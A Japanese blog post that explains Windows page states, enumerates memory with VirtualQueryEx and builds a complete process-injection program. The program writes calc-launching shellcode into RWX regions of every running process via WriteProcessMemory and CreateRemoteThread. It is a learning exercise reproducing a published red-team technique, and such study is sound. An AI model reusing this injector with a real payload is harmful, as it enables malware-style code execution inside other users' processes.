Snoozy

1.Sleep-inducing; tedious.

VirtualQueryExによるRWX保護メモリの列挙をやってみる

VirtualQueryExによるRWX保護メモリの列挙をやってみる

マルウェアが使う基本的なcode injection手法の一部には、最初にVritualAllocを使ってターゲットプロセス内に実行可能なメモリ領域を割り当て、その領域にコードを書き込むことで攻撃者が望む処理を実行させることがある。

今回はVirtualQueryExを利用して、ターゲット端末内で動作する全てのプロセス上の既に割り当てられているRWX保護なメモリ領域を発見しシェルコードの書き込みと実行をさせてみる。

まず先んじて、仮想アドレス空間内のページに関する情報を列挙するプログラムを実装する。

仮想アドレス領域内のページ情報

Windowsにおいてプロセスの仮想アドレス領域内の各ページは、状態(State)、アクセス保護(Protect)、タイプ(Type)の3つの要素を持つ。 以下に3つの要素が取りうる値をそれぞれまとめた。

State Value Meaning
MEM_COMMIT 0x1000 Indicates committed pages for which physical storage has been allocated, either in memory or in the paging file on disk.
MEM_FREE 0x10000 Indicates free pages not accessible to the calling process and available to be allocated. For free pages, the information in the AllocationBase, AllocationProtect, Protect, and Type members is undefined.
MEM_RESERVE 0x2000 Indicates reserved pages where a range of the process's virtual address space is reserved without any physical storage being allocated. For reserved pages, the information in the Protect member is undefined.
Type Value Meaning
MEM_IMAGE 0x1000000 Indicates that the memory pages within the region are mapped into the view of an image section.
MEM_MAPPED 0x40000 Indicates that the memory pages within the region are mapped into the view of a section.
MEM_PRIVATE 0x20000 Indicates that the memory pages within the region are private (that is, not shared by other processes).

アクセス保護に関しては長すぎるので以下のページを参照してほしい。

https://docs.microsoft.com/ja-jp/windows/win32/memory/memory-protection-constants

シェルコードが実行可能なのは、それぞれStateがMEM_COMMIT、TypeがMEM_PRIVATE、メモリ保護がPAGE_EXECUTE_READWRITEなメモリ領域である。

VirtualQueryExによるページ情報取得

VirtualQueryEXにターゲットプロセスのハンドルを渡すことで、仮想メモリのページ情報を得ることができる。 具体的には以下のようなMEMORY_BASIC_INFORMATION構造体に各種情報が格納される。

typedef struct _MEMORY_BASIC_INFORMATION {
  PVOID  BaseAddress;
  PVOID  AllocationBase;
  DWORD  AllocationProtect;
  SIZE_T RegionSize;
  DWORD  State;
  DWORD  Protect;
  DWORD  Type;
} MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;

まずは特定のプロセスに対してこれらの情報を取得するプログラムを実装してみる。

#include<stdio.h>
#include <Windows.h>
#include <cstdlib> // pause()

int main()
{
    MEMORY_BASIC_INFORMATION mbi = {};
    LPVOID offset = 0;

    STARTUPINFOA StartupInfo = {};
    PROCESS_INFORMATION ProcessInfo = {};

    CreateProcessA(0, (LPSTR)"notepad.exe", 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInfo);
    printf("ProcessId:%d\n", ProcessInfo.dwProcessId);

    printf("Base address\t\tState\tType\tProtection\n");
    
    while (VirtualQueryEx(ProcessInfo.hProcess, offset, &mbi, sizeof(mbi)))
    {

        printf("%p", mbi.BaseAddress);
        printf("\t%x", mbi.State);
        printf("\t%x", mbi.Type);
        printf("\t%x\n", mbi.AllocationProtect);
        
        offset = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize);
    }

    system("PAUSE");
    TerminateProcess(ProcessInfo.hProcess, NULL);

    CloseHandle(ProcessInfo.hProcess);

    return 0;
}

これを実行すると次のような結果が得られる。 Process Hackerで取得できる内容と一致していることがわかる。 f:id:snoozekvn:20200115105405p:plain

シェルコードの書き込みと実行

次にシステム上で動作する全プロセスに対してページ情報を取得するプログラムを実装する。 これはCreateToolhelp32SnapshotとProcess32First、Process32Nextを使えばよい。

最後に、RWX保護なメモリ領域に対して悪意あるシェルコードに見立てた電卓を起動するシェルコードを書き込み実行させてみる。 電卓を起動するシェルコードはももいろテクノロジーさんからお借りする。

inaz2.hatenablog.com

完成したコードは以下のようになる。

#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>

int main()
{
    MEMORY_BASIC_INFORMATION mbi = {};
    LPVOID offset = 0;
    HANDLE process = NULL;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 processEntry = {};
    processEntry.dwSize = sizeof(PROCESSENTRY32);
    DWORD bytesWritten = 0;
    unsigned char shellcode[] = "\xFC\xEB\x76\x51\x52\x33\xC0\x65\x48\x8B\x40\x60\x48\x8B\x40\x18\x48\x8B\x70\x10\x48\xAD\x48\x89\x44\x24\x20\x48\x8B\x68\x30\x8B\x45\x3C\x83\xC0\x18\x8B\x7C\x28\x70\x48\x03\xFD\x8B\x4F\x18\x8B\x5F\x20\x48\x03\xDD\x67\xE3\x3A\xFF\xC9\x8B\x34\x8B\x48\x03\xF5\x33\xC0\x99\xAC\x84\xC0\x74\x07\xC1\xCA\x0D\x03\xD0\xEB\xF4\x3B\x54\x24\x18\x75\xE0\x8B\x5F\x24\x48\x03\xDD\x66\x8B\x0C\x4B\x8B\x5F\x1C\x48\x03\xDD\x8B\x04\x8B\x48\x03\xC5\x5A\x59\x5E\x5F\x56\xFF\xE0\x48\x8B\x74\x24\x20\xEB\x9B\x33\xC9\x48\x8D\x51\x01\x51\x68\x63\x61\x6C\x63\x48\x8B\xCC\x48\x83\xEC\x28\x68\x98\xFE\x8A\x0E\xE8\x6D\xFF\xFF\xFF\x33\xC9\x68\x7E\xD8\xE2\x73\xE8\x61\xFF\xFF\xFF";

    Process32First(snapshot, &processEntry);
    while (Process32Next(snapshot, &processEntry))
    {
        process = OpenProcess(   MAXIMUM_ALLOWED, false, processEntry.th32ProcessID);
        if (process)
        {
            std::wcout << processEntry.szExeFile << "[" << processEntry.th32ProcessID << "]\n";
            while (VirtualQueryEx(process, offset, &mbi, sizeof(mbi)))
            {
                offset = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize);
                if (mbi.AllocationProtect == PAGE_EXECUTE_READWRITE && mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE)
                {
                    std::cout << "\tRWX: 0x" << std::hex << mbi.BaseAddress << "\n";
                    WriteProcessMemory(process, mbi.BaseAddress, shellcode, sizeof(shellcode), NULL);
                    CreateRemoteThread(process, NULL, NULL, (LPTHREAD_START_ROUTINE)mbi.BaseAddress, NULL, NULL, NULL);
                }
            }
            offset = 0;
        }
        CloseHandle(process);
    }

    return 0;
}

目当てのメモリ領域を見つかるとWriteProcessMemoryでシェルコードをその領域へ書き込み、CreateRemoteThreadでターゲットプロセス内に新規スレッドを作成することでシェルコードが実行される。

以下のように電卓が起動するはずだ。 f:id:snoozekvn:20200115105400p:plain

まとめ

本記事の内容は参考サイトで見つけた内容をそのまま手元で再現してみたというものだ。 Windos APIを使いこなせればシステムに関する各種情報を簡単に収集でき強力なプログラムを組めるということが実感できた。

参考サイト

ired.team